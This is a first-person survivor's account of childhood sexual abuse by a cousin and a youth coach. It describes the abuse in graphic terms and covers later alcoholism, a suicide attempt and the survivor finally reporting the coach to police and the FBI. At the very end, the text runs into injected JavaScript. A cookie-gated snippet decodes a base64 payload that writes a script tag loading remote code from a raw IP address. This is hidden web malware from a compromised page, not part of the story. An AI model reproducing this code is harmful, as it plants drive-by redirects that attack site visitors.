I am confused as to why I feel the need to tell my story. I don’t have the terrible stories of abuse for years like some of the stories you read. I wasn’t beaten as a kid but I was a trusting child who believed there was no evil in the world and coming from a devoted Christian background I thought God would always protect me. I was the kind of boy who would talk to anyone and if a stranger lost their dog I would help them find it. In other words I was a very trusting kid. My mom told me I was molested by the age of 2 by a couple of kids not much older than I was and she said they did some unspeakable things to me. The good news is I have no memory of it.
I do remember an older cousin who I looked up to who would come in my bedroom when I was lying down and would fondle me and tell me it was ok because it felt good. I hated it when he did it because if I said something I was afraid I would get in trouble with my parents and I wouldn’t get to hang around with him and my brother and the neighborhood kids . So I said nothing. That is how I chose to deal with this problem and that would be the mistake that would haunt me for many years to come. Then at the age of 12 my brother had a coach who would take him and other team members out on the weekends and they would go to the movies, arcade or just to his house to watch movies and hang. I was jealous because me being almost two years younger I didn’t get to go out and do anything and I wanted so badly to hang around with my brother and his friends.
One Friday night the coach came by to see if my brother could go out with him and he wasn’t home, I saw my chance to get in good with him and said I was available. He agreed and took me to the movies and out to eat and I had so much fun. I tried so hard to impress coach so he would want to include me when he comes to get my brother to take out; and impress him I did. But he didn’t only take me when he took my brother but he started coming to get me only. He would let us drink and I did because I didn’t want my friends to think I was chicken and it got easier the more I did it. When we had sleep-overs everyone slept in his bedroom on the floor and usually a couple in his bed and he would play around with them in bed but he didn’t molest them as far as I know. I remember he would have initiations but what happened during them I can’t remember.
He came one Friday night and asked my mom if I could come over and go to a movies and it would be late so I could stay at his house. We went to the movies and when we got home he gave me beer that I drank and I don’t know how much but I got tired and went to bed. I always sleep in my underpants because I roll around alot and it is more comfortable and didn’t think anything about it. I got in bed and was falling asleep when he came in and got in bed to. I remember he started playing around wrestling like always and before I knew it he grabbed my privates. It hurt and I yelled I give. He did this over and over as if he was enjoying causing me pain. Somehow he got my underwear off and I didn’t even realize it. He then started masturbating me and to be honest with you even though I was 12 I did not know what would happen when you do this. I kept asking him to stop but he wouldn’t and I did not have an orgasm so he finally gave up.
The next morning we did not speak of the incident but my head was spinning.
How could someone I trust do this to me. I was faced with a decision what to do .I truly believed if I told my parents I would get in trouble for the alcohol and for the unspeakable things that had occurred between us the night before. I chose to do and say nothing and act as if it never happened and I had to make sure no one knew anything was wrong. In covering it up it happened again and again. Each time I died a little more inside.
I was a nobody at the beginning of 7th grade but in my quest to cover my dirty secret I became the most popular boy in my grade. I made it a point to be seen with all the girls so no one would think I was gay. Just before X-mas in 7th grade I was at coach’s house and I remember drinking quite heavily to dull the pain of what was coming. I stayed in the kitchen until he went to bed and when I thought he was asleep I snuck to bed. Unfortunately he wasn’t asleep but rolled over and started his normal routine.
Up until this point he would just fondle me and make me submit in extreme pain or try to masturbate me to orgasm to no avail. Before I knew it he had flipped me on my back and started to sodomize me. He was so rough this time not like the others where he would laugh like he was having fun. I don’t know what I did to make him mad. The moment he entered me I thought he was going to rip me open. I yelled to stop and begged him over and over. I remember thinking I am going to have to wear a diaper when he is done because he is destroying me back there. Finally I started begging him if he would stop I would do it to him and finally he did. I remember getting on his back and started to well you know. I don’t actually remember doing it to him but I know I did. This is a memory I am sure will resurface one day but I don’t look forward to that day. I have no memory of anything else until later that night in the shower I remember scrubbing all over and I will never forget the smell of the soap. To this day I refuse to use soap that has this smell.
I got good at hiding my pain though I did become an alcoholic before the end of 7th grade, I tried to commit suicide in eighth grade and always seemed to have the uncontrollable desire no matter how bad things were I needed to not let my life spin out of control. I did everything I could to stay up with my friends and turned to my faith after my failed suicide attempt. I figured God wanted me here either to punish me or for some other reason and that faith kept me alive. I still drank excessively all throughout my school years but I never went over the edge. Then at age 17 that cousin had came to live with us because he got kicked out of his house because his father said he was an adult and he needed to make his way and he kept screwing up.
I had just come home one night after taking my girlfriend to a holiday dance and my parents were out of town and the house was empty. I got out of my tux and went to bed and my cousin came home around 11pm. He had been drinking and I heard him walking through the hall and he stopped at my door and opened it. He asked me if I was awake and I said yes. Then he said “let’s get naked”. I can’t explain it and I can’t forgive myself for it but I froze like a deer in headlights. I knew what he wanted and I felt like that 12 year old boy who couldn’t stop a coach from doing whatever he wanted. I heard him walk to the bed and I heard him remove his clothes and get in bed and he started rubbing my bottom first and he rolled me over and removed my underpants. I just let him. I didn’t hit him, scream, or run. It’s is almost as if I just went along with what I knew was going to happen. My cousin was much bigger and has been known when drunk to be violent but that is no excuse. He started performing oral sex on me and then tried to get me to do it to him. To this point oral sex was not an abuse I endured and to have a male doing something to me that I had considered my last gift I could offer a future wife was like a knife being rammed in my heart. He would push my head down on his private (the male organ but I don’t like saying or writing the word) but I just couldn’t do it. I think at that point I made a decision he could kill me if he wanted but I wasn’t going to return the favor as I did with that coach a few years earlier. Eventually I think he realized he was doing this against my will and left and said he was sorry.
PART 2 THE EFFECTS AND CONSEQUENCES
To cover up what I had done I worked to become popular with the girls and became the most popular boy in 7th grade. It was hard to keep up the illusion everything was ok. In eighth grade I remember going in my parent’s room and taking a loaded shotgun and sitting at the foot of their bed and after removing the safety and putting the barrel in my mouth I pulled the trigger and woke up lying on the bed with the gun on the ground. Best I can figure it must have jammed.
I stayed with my team for 4 years after the last assault under this coach and I allowed him to still coach me. I refused to leave my friends with him. I watched over them and if they wanted to go to the coaches house I would always find a way to20talk them into doing something else. When I couldn’t I would go to his house but stayed far from him as I could and he never did anything with my friends that I could tell. I was at that point prepared to kill him if I caught him messing with them. I would have been willing to take their place if I had to but I never did. Because I never seen him try anything with them it only made me blame myself more because he came after me but not them so I must have caused it and all these years that has been my outlook.
By high school I had pretty much done away with friends and I forgot what it felt like to be a kid. I feel like childhood is a wonderful gift that was taken away from me. After I graduated I was simply going through the motions of life. I had no idea what to do with my life. I felt lost. Finally a year or so after I graduated a buddy from my school who was in my early release class starting hanging around and we became very close. He was married. I was not. After much debate in my mind and many trials that he didn’t realize I was giving him I decided to try having a friend one more time and to date he has not let me down.
When I was about 21 I for the first time ever that I remember I revealed my secret to him (w/o all the graphic details). I kinda had to so he would know why I was so screwed up. I held my breath and was prepared to be kicked to the curb called every name in the book and told he never wanted to see a disgusting sick freak like me ever again. But he didn’t. He got mad at the coach who did this to me, I remember thinking in my head what about me.
He must be in shock and he will get to me in a moment but he didn’t. We didn’t hug but I did for the first time I can remember shed a tear for innocence I lost and a life wasted. He didn’t judge me at all but gave me something I never expected, unconditional support and I believe that may have saved my life. Any way he was my best man at my wedding, introduced me to my current and only wife. We have two wonderful children (girl and a boy). I did tell my wife I was abused but I have never until a week ago let her know what really happened and I let her read this post I wrote.
That brings me to over a year ago. My son is playing football, he is 10. I went to view the other team’s websites he would be playing for the season when I came up on my old team’s website as he would be playing them also. I pulled it up and on the home page was a list with the head coaches for each age group. There he was head coach of 12 to 14 yr old boys. I don’t know what happened but something in me snapped. If I would have been standing I would have literally passed out. Better it was like when you dump mentos in soda and it erupts. I thought of my son. I thought of all the kids that would be reporting to him tomorrow night and I couldn’t stay silent any longer.
I swore never to allow anyone to know my dirty little secret but I was about to do the unthinkable and break my own promise. I called my best friend and he and I went to the board of directors of my son’s team and I broke my promise. The person on the board we told was a female and ironically her friend’s son plays for that team and was 13 and he was his coach. Because of fear of lawsuits for slander they were not permitted to call that team’s board and inform them so they asked me if I would be willing to involve the police so they could do what the board could not. It all happened so fast.
It was a cold October night and me and my friend, 3 board members and one deputy sheriff and there I am being asked to give all the details. I couldn’t look anyone in the eyes, even my best friend for he didn’t know the actual things he did to me or made me do. Before the night was over 3 more deputies were called and 3 more times I had to tell the story in all the details. I will never forget what one of the deputies asked me. “When he was doing this to you were you enjoy it?” I started to reply “would you enjoy a broomstick up your a*s?” but I lowered my head and said no. I fully expected to be ridiculed or not believed and at that point that’s what I felt like.
I went home that night and everything I worked so hard to bottle up was unleashed was humiliated, embarrassed, and I felt like someone ran over me with a Mac truck. I could no longer fool my way thru life. I would now have to tell my family and tell them I did. My demeanor, my habits, even my thoughts and the way I view things resorted back to long ago as if I was starting over. Anyway a detective called me and advised me he couldn’t help me because of the statute of limitations and I needed to do something but he didn’t know what that was (he said because he has access to kids you need to find a way to stop him but didn’t tell me how). I did it all for nothing.
Now I am really in despair because I have ruined my life and the kids are no better off. I made a decision what happened to me was not important what mattered was them. I then found out just in casual conversation with one other the other dads that this guy had been coaching for many years after
I left so god knows how many kids he had had access to. As fate would have it one of the dads on my son’s team works for the FBI in the sex abuse crimes unit and handles child abuse cases primarily. The board knew what he did and spoke to him and he agreed to see me if I was willing to talk. They came to me almost desperate and asked if I was willing to see this one more person. I finally agreed.
After again telling the story he informed me that he did not think as I did I was the only one and with my statement it would allow him to subpoena his computer interview former players and pretty much open up a full investigation. He also said he wouldn’t need me anymore unless it was in court to show a pattern. I haven’t heard from him since but a week ago I had to know what was going on and I called his team’s contact number to ask if their coaches were chosen; they were and when they gave me some names I stupidly asked if this coach was coaching. The lady hesitated and said he hadn’t signed up this year. I realized my mistake afterward but this person has my number now and my name because she called me back as I called originally and didn’t leave a message but she saw my number on her caller id.
Now I am afraid for me but mainly for my family. If she tells him I called he will know immediately who I am and my family may suffer for my stupidity.
But the good news is something must have happened because for the first time that I know of in over twenty years this guy won’t be coaching kids and if I caused that I will gladly suffer the consequences. In conclusion, if I find out there are others, and because I was too weak they suffered I can honestly say I will never forgive myself. It’s been over a year now and I don’t know what ever happened with my old coach but I do know this. He no longer coaches at my old ball field and I guess that is something.
As for me I am trying to hide from my wife terrible nightmares I keep having. Sometimes she tells me I yell in my sleep or start shaking in bed in which I try to play it off and tell her she is making it up. Truth is I see him all the time. It is worse than it ever was and I don’t know why. Like everything else though I will work through it and deal with. As my father always says “man up son”. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘